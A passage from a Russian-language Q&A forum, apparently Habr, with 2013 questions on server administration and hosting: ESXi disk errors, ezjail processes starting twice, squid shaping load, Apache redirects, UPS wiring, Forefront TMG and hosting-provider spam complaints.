at SilverlightApplication1.MainPage.client_NumberRowAtLinesCompleted(Object sender, NumberRowAtLinesCompletedEventArgs e)
at SilverlightApplication1.ServiceReference1.Service2Client.OnNumberRowAtLinesCompleted(Object state)

Очевидная мысль, что wcf-сервис тоже нужно захостить и сильверлайту указать на него путь. Делаю. В Silverlight-приложении в файле ServiceReferences.ClientConfig меняю адрес сервиса с
















на















(на всякий случай привожу весь текст конфига).
Но сообщение об ошибке не меняется. Т.е. сильверлайт по-прежнему продолжает стучаться на localhost:39429.

Где исправить этот путь на сервис и только ли в этом дело?
В сети достаточно много мануалов на эту тему, но они достаточно противоречивые. Только больше запутался от их прочтения.

Заранее благодарю всех, кто захочет поучаствовать в дискуссии.
 

2013.08.28, 10:17:36   #Хостинг - #45824


Добрый день, господа!
Я начинающий в этом деле, поэтому прошу сильно не минусовать :-)
Установил на DigitalOcean в качестве оболочки Vesta. Только не могу понять как установить соединение по FTP для выгрузки исходников сайта. Пользуюсь FileZilla. Запутался. Не понимаю что вводить в качестве данных для соединения :-(
Буду также благодарен по ссылке на мануал по настройке сайта на Vesta.
 

2013.08.28, 10:42:44   #Серверы - #45826


Добрый день, уважаемое Хабросообщество.

Есть небольшой парк серверов(8 шт.) и вместе с ними 7 ИБП. Т.к. почти на всех серверах есть несколько БП, мы приняли решение подключать каждый сервер к нескольким ИБП, чтобы при поломке(например, умирании батарейки или выходе из строя электроники) одного из ИБП, сервера не выключались неожиданно из-за перепадов напряжения или кратковременного отключения света. Схема подключения показана ниже:


Белые прямоугольники – УПСЫ. Все APCSmart-UPS. Конкретная модель указана на схеме.

Красные круги – сервера с 1 Блоком питания.

Белые круги – сервера с 2-мя БП, работающими в режиме 1+1(работают одновременно оба, с распределением нагрузки)

Зеленые круги – сервера с 3-мя БП, работающими в режиме 2+1 (работают 3 одновременно, если один выходит из строя, то 2 остальных забирают нагрузку. С одним блоком питания тоже вроде работает, но знающие люди говорят, что это неправильно и может привести к проблемам)

Черные стрелки – подключения кабелей питания от серверов к УПСам.

Красные стрелки – подключения USBкабелей от компов к упсам. По этим кабелям УПС общается с сервером и, например, отправляет его выключаться, если заряд батареи ниже определенного уровня.


Хотелось бы узнать, есть ли в таком перекрестном подключении вообще смысл, делал ли так кто-то и какие есть подводные камни.

Спасибо за помощь
 

2013.08.28, 16:31:04   #Хостинг - #45864


Нужен VPS windows хостинг с американским ip на который можно задеплоить установленную локально на VirtualBox(wmdk диск) серверную винду с настроенным ПО.

Реально ли это вообще сделать?
 

2013.08.28, 17:25:04   #Серверы - #45870


Доброго времени суток. Подскажите пожалуйста, какими утилитами можно мониторить за памятью/процессором/свободным местом на hd и за состоянием самого hd + Другие полезные характеристики? Есть ли специализированный софт с отсылкой отчетов на email, допустим? Ну или отчетами в gui интерфейсе, не суть.

Сервер windows server 2008 R2.
 

2013.08.29, 12:40:00   #Хостинг - #45906


Добрый день, Хабр!


Есть ли кто с опытом эксплуатации подобного решения? Интересует именно ploop, о том, что с vzfs все плохо я наслышан.


Если кто использовал такое решение, то интересует какая версия NFS использовалась, какой дистрибутив и какая примерная топология сети была.


Спасибо.
 

2013.08.30, 14:31:21   #Серверы - #45970


Есть система «А», которая смотрит в интернет. Есть система «Б», которая по сути является веб-сервисом.
Нужно из системы А переправлять в Б большие объемы xml-документов.

Подскажите, как лучше организовать обмен документами?

1. сервер А инициирует соединение и отправляет на Б данные
2. сервер Б по крону опрашивает сервер А на предмет новых

или есть какая-то более правльная джедайская схема?
 

2013.08.30, 17:39:41   #Системное администрирование - #45988


Доброе время суток!

Один нехороший человек (мой шеф если точнее) в sbs 2011 из IIS удалил страницу по умолчанию (Default Web Site) со всеми настройками. После чего перестала цепляться к exchange его консоль и shel, пропал из онлайна owa и прочl. Из sbs консоли перестали создаваться почтовые ящики итп.

Вопрос, есть ли простой способ восстановить default web seite с внутренней структурой той что была при инсталляции (default)? Или пошаговая инструкция, саму Default web Site восстановить не проблема, проблема настроить виртуальные папки и приложения которые были внутри. :-( возможно существует какой скрипт который все делает.

Помогите пожалуйста.
 

2013.08.31, 01:11:43   #Системное администрирование - #46004


Устанавливаю по мануалу
Уже собрался компилирывать сам hiphop-php
И тут на тебе…
[***@localhost hiphop-php]$ cmake . -- CMAKE_PREFIX_PATH was missing, proceeding anyway CMake Error at CMake/FindLibunwind.cmake:19 (message): libunwind.h found without matching unwind.h Call Stack (most recent call first): CMake/HPHPFindLibs.cmake:42 (find_package) CMake/HPHPSetup.cmake:46 (include) hphp/CMakeLists.txt:18 (include) -- Configuring incomplete, errors occurred! ... [***@localhost ~]$ sudo yum list boost libunwind gcc elfutils-libelf-devel [sudo] password for ***: Загружены модули: langpacks, refresh-packagekit Установленные пакеты boost.x86_64 1.53.0-12.fc19 @updates elfutils-libelf-devel.x86_64 0.156-3.fc19 @updates gcc.x86_64 4.8.1-1.fc19 @fedora libunwind.x86_64 1.1-2.fc19 @koji-override-0/$releasever Доступные пакеты elfutils-libelf-devel.i686 0.156-3.fc19 updates libunwind.i686 1.1-2.fc19 fedora
 

2013.09.01, 18:01:45   #Хостинг - #46082


«Внезапно» перестали заводиться виртуалки под ESXi 5.1 на сервере «с дешевым несерверным железом» у Хетцнера. Сам хост заводится, могу зайти на него по ssh. Еще могу зайти на сбойный диск и сделать ls и прочитать некоторые файлы, но большинство попыток прочитать другие файлы заканчивается так:

/vmfs/volumes/5060d5c3-875cbeb8-a8d3-406186e9d73d/Gentoo# tail -f vmware.log
tail: can't open 'vmware.log': Input/output error
tail: no files

Есть слабая надежда, что ситуацию можно исправить запустив какую-ту команду для проверки и восстановления файловой системы. Возможно, кто-то сталкивался с подобной проблемой и знает эти волшебные слова.


Вот фрагмент из /var/log/vmkernel.log, который, на мой взгляд, имеет отношение к этой проблеме.

2013-09-01T13:24:44.370Z cpu0:4942)FSS: 6750: Mounting fs visorfs (410007af2850) with -o 0,249,0,0,0755,hostdstats on file descriptor 410007684470
2013-09-01T13:24:45.131Z cpu4:4970)HBX: 5056: Marking HB [HB state abcdef04 offset 3567616 gen 165 stampUS 150540149 uuid 50699ef0-01e6207d-f9b9-406186e9d73d jrnl drv 14.58] on vol 'datastore1'
2013-09-01T13:24:45.131Z cpu4:4970)HBX: 5134: Marked HB [HB state abcdef04 offset 3567616 gen 165 stampUS 44333239 uuid 50699ef0-01e6207d-f9b9-406186e9d73d jrnl drv 14.58] on vol 'datastore1'
2013-09-01T13:24:45.131Z cpu4:4970)J3: 3726: Replaying journal at , gen 165
2013-09-01T13:24:50.208Z cpu6:4802)Tcpip: 2062: soaccept failed with 53
2013-09-01T13:24:56.134Z cpu5:4239)ahci_scsi_abort: cmd 0x2a (0x412401844540), entering...
2013-09-01T13:24:56.134Z cpu5:4239)ata3: ahci_port_reset, entering...
2013-09-01T13:24:58.374Z cpu5:4239)ata3: ahci_port_reset, hard reseting port
2013-09-01T13:24:58.374Z cpu2:4630)ata3: failed to read log page 10h (errno=-5)
2013-09-01T13:24:58.374Z cpu2:4630)ata3.00: exception Emask 0x1 SAct 0x3 SErr 0x0 action 0x2 frozen
2013-09-01T13:24:58.374Z cpu2:4630)ata3.00: irq_stat 0x40000008
2013-09-01T13:24:58.374Z cpu2:4630)ata3.00: cmd 60/40:00:00:e7:0c/00:00:32:00:00/40 tag 0 ncq 32768 in
res 40/00:04:00:e7:0c/00:00:32:00:00/40 Emask 0x1 (device error)
2013-09-01T13:24:58.374Z cpu2:4630)ata3.00: status: { DRDY }
2013-09-01T13:24:58.374Z cpu2:4630)ata3.00: cmd 61/01:08:39:bb:9c/00:00:00:00:00/40 tag 1 ncq 512 out
res 40/00:04:00:e7:0c/00:00:32:00:00/40 Emask 0x1 (device error)
2013-09-01T13:24:58.374Z cpu2:4630)ata3.00: status: { DRDY }
2013-09-01T13:24:58.696Z cpu2:4630)ata3: soft resetting link
2013-09-01T13:24:58.696Z cpu2:4630)ata3: SATA link up 3.0 Gbps (SStatus 123 SControl 300)
2013-09-01T13:24:58.707Z cpu2:4630)ata3.00: configured for UDMA/133
2013-09-01T13:24:58.707Z cpu2:4630)ata3: exception Emask 0x10 SAct 0x0 SErr 0x0 action 0x9 t4
2013-09-01T13:24:58.707Z cpu2:4630)ata3: irq_stat 0x00400000, PHY RDY changed
2013-09-01T13:24:58.719Z cpu2:4630)ata3.00: configured for UDMA/133
2013-09-01T13:24:58.719Z cpu2:4630)ata3: EH complete
2013-09-01T13:24:58.719Z cpu3:5031)NMP: nmp_ThrottleLogForDevice:2319: Cmd 0x28 (0x4124007b5640, 4970) to dev "t10.ATA_____SAMSUNG_HD754JJ_________________________S281JX0BA00347______" on path "vmhba33:C0:T0:L0" Failed: H:0x0 D:0x2 P:0x0 Valid sense dat$
2013-09-01T13:24:58.719Z cpu3:5031)ScsiDeviceIO: 2303: Cmd(0x4124007b5640) 0x28, CmdSN 0x39 from world 4970 to dev "t10.ATA_____SAMSUNG_HD754JJ_________________________S281JX0BA00347______" failed H:0x0 D:0x2 P:0x0 Valid sense data: 0xb 0x0 0x0.
2013-09-01T13:24:58.880Z cpu5:4239)ata3: ahci_port_reset: SUCCEEDED
2013-09-01T13:24:58.880Z cpu5:4239)ahci_scsi_abort: cmd 0x2a (0x412401844540), SUCCEEDED
2013-09-01T13:24:58.880Z cpu3:5031)NMP: nmp_ThrottleLogForDevice:2319: Cmd 0x2a (0x4124007b5440, 4104) to dev "t10.ATA_____SAMSUNG_HD754JJ_________________________S281JX0BA00347______" on path "vmhba33:C0:T0:L0" Failed: H:0x0 D:0x2 P:0x0 Valid sense dat$
2013-09-01T13:24:58.919Z cpu6:5103)WARNING: LinScsi: SCSILinuxQueueCommand:1193:queuecommand failed with status = 0x1056 Unknown status vmhba33:0:0:0 (driver name: ahci) - Message repeated 1 time
2013-09-01T13:25:00.132Z cpu5:4239)ahci_scsi_abort: cmd 0x2a (0x412401813000), entering...
2013-09-01T13:25:00.132Z cpu5:4239)ata3: ahci_port_reset, entering...
2013-09-01T13:25:00.523Z cpu2:4630)ata3.00: exception Emask 0x0 SAct 0xf SErr 0x0 action 0x0
2013-09-01T13:25:00.523Z cpu2:4630)ata3.00: irq_stat 0x40000008
2013-09-01T13:25:00.523Z cpu2:4630)ata3.00: cmd 60/40:10:00:e7:0c/00:00:32:00:00/40 tag 2 ncq 32768 in
res 41/40:00:30:e7:0c/2b:00:32:00:00/40 Emask 0x409 (media error)
2013-09-01T13:25:00.523Z cpu2:4630)ata3.00: status: { DRDY ERR }
2013-09-01T13:25:00.523Z cpu2:4630)ata3.00: error: { UNC }
2013-09-01T13:25:00.535Z cpu2:4630)ata3.00: configured for UDMA/133
2013-09-01T13:25:00.535Z cpu2:4630)ata3: EH complete
2013-09-01T13:25:00.535Z cpu7:5621)WARNING: NMP: nmp_DeviceRequestFastDeviceProbe:237:NMP device "t10.ATA_____SAMSUNG_HD754JJ_________________________S281JX0BA00347______" state in doubt; requested fast path state update...
2013-09-01T13:25:00.535Z cpu7:5621)ScsiDeviceIO: 2316: Cmd(0x4124007f4600) 0x28, CmdSN 0xe from world 5184 to dev "t10.ATA_____SAMSUNG_HD754JJ_________________________S281JX0BA00347______" failed H:0x3 D:0x0 P:0x0 Possible sense data: 0x0 0x0 0x0.
2013-09-01T13:25:00.535Z cpu7:5621)ScsiDeviceIO: 2316: Cmd(0x4124007b5140) 0x28, CmdSN 0x1bd from world 5605 to dev "t10.ATA_____SAMSUNG_HD754JJ_________________________S281JX0BA00347______" failed H:0x3 D:0x0 P:0x0 Possible sense data: 0x0 0x0 0x0.
2013-09-01T13:25:00.535Z cpu7:5621)ScsiDeviceIO: 2316: Cmd(0x4124007b5640) 0x28, CmdSN 0x39 from world 4970 to dev "t10.ATA_____SAMSUNG_HD754JJ_________________________S281JX0BA00347______" failed H:0x0 D:0x2 P:0x0 Valid sense data: 0x3 0x11 0x4.
2013-09-01T13:25:00.535Z cpu1:4970)WARNING: HBX: 4497: Replay of journal on vol 'datastore1' failed: I/O error
2013-09-01T13:25:00.535Z cpu1:4970)HBX: 2441: Waiting for timed out [HB state abcdef02 offset 3568128 gen 57 stampUS 58153836 uuid 5223400b-e3d782f4-4688-406186e9d73d jrnl drv 14.58] on vol 'datastore1'
2013-09-01T13:25:00.535Z cpu7:5605)User: 2742: wantCoreDump : esxcfg-dumppart -enabled : 0


Спасибо
 

2013.09.02, 11:30:33   #Системное администрирование - #46134


Здравствуйте.
Появилась необходимость в контроле компьютеров находящихся удалённо.
Думаю организовать удалённое управление через TeamViewer (или аналоги) + сбор отчётов и выполнения задач по расписанию.

Соответственно ищу программу которая может по расписанию отсылать на сервер данные о ПК, получать список задач и выполнять их.

На прошлой работе аналогом был Агент Администрирования от Касперского, но к сожалению не подходит т.к заточен преимущественно под антивирус.
Пробовал Lansweeper, но не подходит т.к без агента (точнее агент есть, но он не умеет сбрасывать данные не в папку)

В общем нужен агент, который будет для меня собирать статистику и выполнять мои указания, при этом отсылать данные по своему протоколу на сервер. Без мороки с настройкой папок, фтп и т.д.

Прошу гуру аутсорсинга помочь в выборе ПО, физически бегать и собирать данные вручную уже надоело.
Понимаю что можно просто установить тимвьювер и настроить выполнение скриптов, но хотелось бы более готовое решение.
Парк ПК сейчас примерно 20 штук и будет расти, в парке полнейший зоопарк, где-то Win2k3, где-то старые XP, где-то Win7.
 

2013.09.02, 13:03:36   #Системное администрирование - #46144


Доброго времени суток.


Всплыл вопрос 301 редиректом перенаправлять //somesite.com/ru/* на //somesite.com/*


Пробовал разные комбинации типа

RewriteCond %{QUERY_STRING} ^ru RewriteRule ^(.*)$ http://somesite.com/$1%1/? [R=301,L] RedirectMatch 301 http://somesite.com/ru(.*) http://somesite.com/$1 RewriteCond %{HTTP_HOST} ^somesite\.com$ [NC] RewriteRule ^(.*)$ http://somesite.com/$1 [R=301,L]

Но это вуду сильнее меня.
 

2013.09.04, 06:53:33   #Системное администрирование - #46246


Есть машина с jailaми, которые админятся через ezjail в который прикручен сетевой стек. Конфиг выглядет так.

# To specify the start up order of your ezjails, use these lines to # create a Jail dependency tree. See rcorder(8) for more details. # # PROVIDE: standard_ezjail # REQUIRE: # BEFORE: # export jail_vpn0_rooml_ru_flags="-c vnet name=vpn0_rooml_ru allow.raw_sockets=1 allow.sysvipc=1" # export jail_vpn0_rooml_ru_hostname="vpn0.rooml.ru" # export jail_vpn0_rooml_ru_exec_prestart0="ifconfig epair0 create" export jail_vpn0_rooml_ru_exec_prestart1="ifconfig bridge0 addm epair0a" export jail_vpn0_rooml_ru_exec_prestart2="ifconfig epair0a up" # #export jail_vpn0_rooml_ru_exec_start="/bin/sh /etc/rc" # export jail_vpn0_rooml_ru_exec_poststart0="ifconfig epair0b vnet vpn0_rooml_ru" export jail_vpn0_rooml_ru_exec_poststart1="jexec vpn0_rooml_ru ifconfig lo0 127.0.0.1" export jail_vpn0_rooml_ru_exec_poststart2="jexec vpn0_rooml_ru ifconfig epair0b 192.168.5.2/24 up" export jail_vpn0_rooml_ru_exec_poststart3="jexec vpn0_rooml_ru route add default 192.168.5.1" export jail_vpn0_rooml_ru_exec_poststart4="jexec vpn0_rooml_ru /etc/rc.d/ipfw start" export jail_vpn0_rooml_ru_exec_poststart5="jexec vpn0_rooml_ru /bin/sh /etc/rc" # #export jail_vpn0_rooml_ru_exec_poststop0="jexec vpn0_rooml_ru /bin/sh /etc/rc.shutdown" #export jail_vpn0_rooml_ru_exec_poststop1="ifconfig bridge0 deletem epair0a" #export jail_vpn0_rooml_ru_exec_poststop2="ifconfig epair0a destroy" # export jail_vpn0_rooml_ru_ip="" export jail_vpn0_rooml_ru_rootdir="/usr/home/main/jail/vpn0.rooml.ru" #export jail_vpn0_rooml_ru_exec_start1="/bin/sh /etc/rc" export jail_vpn0_rooml_ru_exec_stop="" export jail_vpn0_rooml_ru_mount_enable="YES" export jail_vpn0_rooml_ru_devfs_enable="YES" export jail_vpn0_rooml_ru_devfs_ruleset="devfsrules_jail" export jail_vpn0_rooml_ru_procfs_enable="YES" export jail_vpn0_rooml_ru_fdescfs_enable="YES" export jail_vpn0_rooml_ru_image="" export jail_vpn0_rooml_ru_imagetype="" export jail_vpn0_rooml_ru_attachparams="" export jail_vpn0_rooml_ru_attachblocking="" export jail_vpn0_rooml_ru_forceblocking="" export jail_vpn0_rooml_ru_zfs_datasets="" export jail_vpn0_rooml_ru_cpuset="" export jail_vpn0_rooml_ru_fib="" export jail_vpn0_rooml_ru_parentzfs="" export jail_vpn0_rooml_ru_parameters="" export jail_vpn0_rooml_ru_post_start_script=""


Как видите "/bin/sh /etc/rc" стартует в секции poststart, а в start закомментирован, это нужно для того чтобы «rc» подгрузился после сетевого стека.

Так вот получается, что после старта jail стартует "/bin/sh /etc/rc" и некоторые процессы запускаются дважды. Выглядет это так:

USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 2829 0.0 0.2 41560 5432 ?? SsJ 3:00AM 0:00.12 /usr/local/sbin/mpd5 -p /var/run/mpd5.pid -b root 2960 0.0 0.1 14128 1872 ?? SsJ 3:00AM 0:00.02 /usr/sbin/cron -s root 3086 0.0 0.1 12052 1788 ?? SsJ 3:00AM 0:00.06 /usr/sbin/syslogd -s root 3110 0.0 0.2 45784 5512 ?? IsJ 3:00AM 0:00.13 /usr/local/sbin/mpd5 -p /var/run/mpd5.pid -b mysql 3138 0.0 0.1 14504 2108 ?? IsJ 3:00AM 0:00.01 /bin/sh /usr/local/bin/mysqld_safe --defaults-extra-file=/var/db/mysql/my.cnf --user=mysql --datadir=/var/db/mysql --pid-file=/var/db/mysql/vpn0.rooml.ru.pid mysql 3232 0.0 2.9 522476 89940 ?? IJ 3:00AM 0:02.75 /usr/local/libexec/mysqld --defaults-extra-file=/var/db/mysql/my.cnf --basedir=/usr/local --datadir=/var/db/mysql --plugin-dir=/usr/local/lib/mysql/plugin --log-error=/var/db/mysql/vpn0.rooml.ru.err --pid-file=/var/db/mysql/vpn0.rooml.ru.pid freeradius 3246 0.0 0.3 106432 8520 ?? IsJ 3:00AM 0:00.00 /usr/local/sbin/radiusd root 3278 0.0 0.2 46744 5184 ?? IsJ 3:00AM 0:00.00 /usr/sbin/sshd root 3282 0.0 0.1 14128 1856 ?? SsJ 3:00AM 0:00.01 /usr/sbin/cron -s root 5178 0.0 0.1 14504 2320 3 SJ 3:31AM 0:00.02 sh root 5182 0.0 0.1 14188 1764 3 R+J 3:32AM 0:00.01 ps auxwww


Как видно mpd и cron запущен дважды. Если смотреть /var/run/mpd.pid увидем 3310.

Никак не пойму что не так, и как rc то два раза стартует?
 

2013.09.05, 16:05:22   #Серверы - #46346


Есть материнская плата Intel W2600CR2. Её размеры, как пишут на сайте интела Custom 14.2" x 15" или 36 см x 38 см.
Это больше чем E-ATX, поэтому она не влезает в стандартные серверные корпуса. Единственное, что я сумел нарыть — это корпус P4000L, который делался под это семейство плат, и который в принципе продаётся только в сборе с материнкой в составе готового сервера (судя по официальным заявлениям Intel). Вторая такая материнка не нужна, и уж больно дорого выходит.

Кроме того есть ещё 2xCooler Master Hyper 412 PWM высотой 16 см (6.3"). Надо, чтобы корпус вмещал и их.

Вопрос: существуют ли какие-либо другие корпуса кроме пресловутого P4000L, или существует ли возможность купить P4000L в России отдельно?
 

2013.09.05, 17:54:04   #Системное администрирование - #46354


Тут на работе спустили сверху настойчивое предложение избавиться от текущего файрвола (cisco + linux, iptables, squid) на красивое в кавычках решение на базе Forefront TMG (линуксы при этом выпиливаются, а циски работают как роутеры). Вопрос к знатокам, какие у него преимущества (помимо очевидной плотной интеграции с Windows-сетью) и недостатки?


Сеть большая: 2000 пользователей. Два интернет провайдера. 6 независимых сетей со своим зоопарком. Сети гетерогенные: есть обширные AD-леса (да, их не одна штука), есть линуксовые сервера, есть отдельный MacOS домен живущий своей жизнью. Множество VLANов по подразделениям, файловые шары как для интранета, так и доступные извне, VPNы, почта, интранет-порталы и прочие радости крупной компании.


Интересует:

— возможность удобного управление всем этим зоопарком из консоли TMG

— ведение учета трафика, шейпинг и квотирование по пользователям

— аудит используемых правил с целью дропать то, что реально не используется

— динамические правила на основе сетевой активности (аля fail2ban)

— да и вообще какая-либо автоматизация работы с ним. в линуксах я могу на нужное правило повесить логгирование и далее через tail -f повесить скрипт для раздачи банов/пряников. возможно ли это здесь?

— есть ли возможность выборочного логгирования — по примерам я так понял, что TMG пишет логи на все подряд. с нашим траффиком это терабайты в день одних только логов.

— и какая производительность всего этого дела в сравнении с линукс-решениями


Все это сейчас прекрасно управляется цисками, линуксами и башевскими/перловыми скриптами, но для руководства это не «ынтерпрайзненько». Буду благодарен как за личный опыт, так и просто за ссылки, желательно не на маркетинговые success-story, а на суровую правду жизни. Спасибо.
 

2013.09.12, 07:56:43   #Хостинг - #46704


Уважаемые хабровчане,


накидайте бесплатных VPS\Cloud хостеров (которые дают инстансы >= 512mb RAM бесплатно, минимум на 3 месяца). Подобные программы есть у многих хостеров, тот же Openshift или EC2 (первый дает 3 инстанса, второй только один инстанс зато на целый год, и там побольше ресурсов). Сервисы, где надо привязывать кредитку, тоже годятся. Те, где надо высылать кучу документов, подтверждать «что ты мега-стартап» или еще что-то подобное — не годятся.


Спасибо!
 

2013.09.12, 16:48:06   #Хостинг - #46732


Подскажите пожалуйста хорошее сравнение возможностей Azure и AWS. Уверен что уже не раз делали сравнение этих платформ. Необходимо детальное и сравнение, как по предлагаемым сервисам так и по цене.

Заранее благодарю за внимание
 

2013.09.15, 12:26:56   #Системное администрирование - #46858


Не могу поставить принтер Cannon LBP2900 на Убунту (две разные пробовал, так вышло). Помогите, люди добрые, уже все форумы обошел, всё перепробовал. Даже бубен. Не ставится! Скачиваю дрова c офсайта (там почему-то только .rpm пакеты), пытаюсь поставить разными способами — не выходит. Вроде ставится, но всё равно говорит, что не хвататет фильтра какого-то. Я этот фильтр (нашел что-то похожее) копирую в нужный каталог, теперь говорит что права опасные выставлены для него. Не знаю что делать! Не выбрасывать же принтер:~( Может у кого есть опыт подобных танцев с бубном?
 

2013.09.15, 18:55:52   #Системное администрирование - #46870


Всем доброго времени суток!

Имеется локальная сеть общежития, по которой раздается интернет через прокси-сервер Squid (сервер крутится на Ubuntu), количество активных пользователей около 100 одновременно. Однако часто возникают проблемы с тем, что кто-то подключает роутер или точку доступа не тем портом, в результате в сети периодически возникают «левые» DHCP и устройства с IP, совпадающим с адресом главного сервера. Сеть построена на основе тупых свитчей, поэтому использовать DHCP snooping / Option 82 или разрезать сеть на VLANы нет возможности. Хотелось бы использовать PPPoE авторизацию во избежание подобных проблем.

Что можете посоветовать из бесплатного софта для учета скачанного трафика + блокировки после превышения лимита под PPPoE?

Спасибо.
 

2013.09.15, 20:20:25   #Системное администрирование - #46874


Добрый день, надо написать реферат на тему «Управление корпоративной средой в компании »
Эта тема подразумевает собой найти какие либо продукты для автоматизации задач системных администраторов. Может кто расскажет кто чем пользуется в реальной жизни или хочет чем попользоваться, но начальство не хочет давать денег на этот продукт?
Да хочу сразу оговорится в впоросе рассматривается именно готовые продукты, самописные скрипты не подходят. Среда Windows.

Заранее всем спасибо.
 

2013.09.16, 13:03:44   #Системное администрирование - #46894


Здравствуйте, Хабровчане!

Ищу софтину или альтернативное решение для задачи: в организации есть определенная квота траффика на пользователя и чтобы пользователи не превышали ее зря, нужно их информировать об уже потраченном. Вижу это ввиде маленькое окошка информера (как у Download Master, например), где будет показано входящий трафик за текущий месяц.

Ищу утилиты для этого, но они все какие-то громоздкие. Мне не нужна куча настроек, в идеале это все по тихому (silent mode) установить всем пользователям домена, чтобы на утро они уже видели сколько трафика потребляется.
 

2013.09.18, 16:59:25   #Системное администрирование - #47042


Подскажите какие тулзы необходимо использовать, чтобы поднять на пае терминальный (консольный) сервер RS-232?

По RS-232 к паю подключается консоль железки, к которой надо иметь удаленный доступ. Хочу сделать реверс telnet/ssh, т.е. конектишься на определенный порт пая и открывается консоль устройства плюс будет здорово также иметь доступ к консоли через веб интерфейс работающего на пае.
 

2013.09.24, 11:15:32   #Хостинг - #47342


Хостился у хетцнера, не устроила надежность серверов, много тех работ и даунтаймов. Сайт на минимальном тарифе грузился не более 1с на страницу. Крутится все на uwsgi+nginx+postgresql.

После переезда на линод, вы ходных потестил — все летает, загрузка страниц 0.5-0.6 сек. В будни картина сильно изменилась, сайт прогружается до 8 сек, метрика ругается что сайт недоступен по 5 раз на дню. Саппорт хетцнера утрвеждает что у них все в порядке и мне надо искать проблему у себя. По ночам все опять работает хорошо, начиная с 8и утра безумные лаги. Системный монитор не показывает аномальных нагрузок, все как обычно.
Кто сталкивался? И если были подобные проблемы, то как решать?
 

2013.09.25, 09:33:23   #Хостинг - #47412


Допустим, есть 3 сайта на Drupal с примерно одинаковой посещаемостью и суммарной посещаемостью примерно 5 тыс. человек в сутки. Нужен ли VPS? Или лучше разнести по разным хостингам?
 

2013.09.26, 06:53:10   #ISPmanager - #47484


Всем привет!


Встала острая проблема — на одном сервере необходимо поставить несколько версий PHP. Одна стоит (5.5) и нужно в дополнение поставить 5.3

Есть rpm-ки 5.3, как мне поставить в другой каталог?

Может кто дать толковую ссылку?
 

2013.09.30, 10:53:06   #Системное администрирование - #47696


Добрый день уважаемый хабраюзер!

Вопрос назрел уже давно, но хочу расставить все по полочкам. Есть у меня в лабе проверенная и отлаженная конструкция приватного облака с крутыми плюшками — децентрализованное хранилище, высокая доступность виртуалок, простота в обслуживании, open source и вменяемые роадмапы разработчиков и, при необходимости, их прямая готовность поддержки.

А вопрос невероятно простой, но необходимый твоего мнения — на твой взгляд, где и когда приватная платформа виртуализации выигрывает по сравнению с провайдерами публичных облаков по типу Амазона.
 

2013.10.01, 13:29:59   #Хостинг - #47782


В последнее время держим все проекты на разных VPS/VDS, но сейчас появилась необходимость захостить простой Wordpress сайт, под который брать и настраивать целый сервер нет смысла. Начал гуглить и увидел что сейчас предлагают огромное количество «Wordpress хостинга», которые, судя по инфе на сайтах, глубоко заточены под WP. Насколько я знаю, WP движок не требовательный к хостингу и особенно подстраивать под него ничего не надо. Вот и стал вопрос — стоит ли переплачивать за «специализированный» WP хостинг или это просто маркетинговый ход?
 

2013.10.05, 14:13:29   #Системное администрирование - #48038


Всем привет!

Кто знает есть ли такой модуль или нет? А то мне напарники сказали что вроде как есть, а в нэте что-то не нашел. Может кто знает что это за такой модуль?
 

2013.10.14, 12:33:23   #Системное администрирование - #48512


Вопрос следующий.
Есть роутер DFL-800. Из-вне, к нему приходит шнурок от провайдера. Внутри предприятия обычная сеть \24.
Т.к. мы арендуем не один ip, а подсеть, то доступно нам аж 3 внешних ip адреса. На данный момент настроен был один IP и все необходимые доступы и операции к внутренним серверам, из внешней сети, мы производили через SAT/NAT.
На данный момент потребовалось использовать еще один IP адрес (внешний). Его необходимо привязать к физическому серверу, который находится, естественно за роутером. Открыл такую штуку, как DMZ. Но так и не уловил логики настройки и использования. Т.е. вопросы следующие:

1. Как повесить 2 внешний ip адрес на физический Ethernet интерфейс.
2. Как полностью зеркально пробросить запросы на все порты с внешнего IP на внутренний.
 

2013.10.21, 11:45:15   #Хостинг - #48860


Всем привет.
Имеется более чем известный ресурс, назовём его Портал1, ресурсу пять лет, стабильные 40к-50к в сутки юзеров его посещают.
Так уж сложилось, что конкурентов ему нет, в связи с чем школота и не очень пытается стать конкурентами.
Я не против конкурентной борьбы, пока школота не начинает спамить.

Один из таких школоресурсов, назовём его Недопортал собрал мыла по Портал1, из объявлений, кто-то где-то на форуме оставил, в профиле написал, не суть важно. Собрал базу мыл и гоняет по ним рассылки.
Крайнее письмо выглядело так:
Во вложенном файле поздравление с Днём работников *** и *** промышленности от *** портала (Недопортал) ***

Для того, чтобы отписаться от этой рассылки, пройдите по следующей ссылке: http://***.ru/auth/s-reg-new.php

+картинка на 0.5 мегабайта
+вордовский файл с описанием, какой же это крутой портал (Недопортал) поздравил с днём *** и просьбой зарегистрироваться там.
Сам этот Недопортал представляет собой конкретнейший говносайт, который был сделан к тематическому настоящему бумажному журналу.

Естественно, я открыл свойства письма, посмотрел whois, спам рассылается непосредственно с сайта Недопортала.
Я пишу хостеру, прикладываю там RFC-заголовки и прочее, что требуется, на что получаю ответ:
В присланном Вами письме присутствует строка:«Для того, чтобы отписаться от этой рассылки, пройдите по следующей ссылке:», получатель может исключить себя из рассылки с помошью приведенной ссылки.
Что позволяет не считать спамом данные письма.
Если получатель не хочет получать подобные письма от ***.ru, ему достаточно воспользоваться этой ссылкой.

Остальные вопросы Вы можете обсудить с администрацией сайта ***.ru.

Господа, может я действительно ошибаюсь? Или хостер покрывает спамера?
На рассылку от Недопортала ***.ru ни я, ни кто-то другой из пострадавших не подписывался, разве ссылка для отписки, которая далеко не факт что отписывает делает из несанкционированной рассылки легитимное письмо?
 

2013.10.21, 22:39:12   #Системное администрирование - #48906


Имеется Ubuntu Server 12.10 (крутится на железе Intel Xeon E31235 @ 3.20GHz / 16 Gb RAM), раздающий пользователям интернет через прокси-сервер squid. При включении в конфиге squid'а шейпинга через delay_pools squid нагружает процессор до 100%. При выключенных delay_pools все нормально — загрузка не превышает 10-15% при общей ширине канала в 16 мбит/с, пользователей около 70-90 одновременно в сети.

Версия squid — 3.1.20 (amd64)
Ниже часть конфига:

acl adm src 192.168.2.99/32 acl users src 192.168.0.0/16 delay_pools 2 delay_class 1 1 delay_class 2 3 delay_access 1 allow adm delay_access 1 deny all delay_access 2 allow users delay_access 2 deny all http_access allow users http_access allow adm http_access deny all delay_parameters 1 -1/-1 delay_parameters 2 250000/250000 125000/125000 125000/125000

В чем может быть причина высокой загрузки CPU squid'ом?
 

2013.10.23, 21:39:55   #Хостинг - #49026


Хочу проверить как работает abuse у моего хостинг-провайдера, т.е. получить опытным путём ответы на вопросы:


1. Блокирует ли от «простых» жалоб.

2. Просит ли у жалобщика подробности.

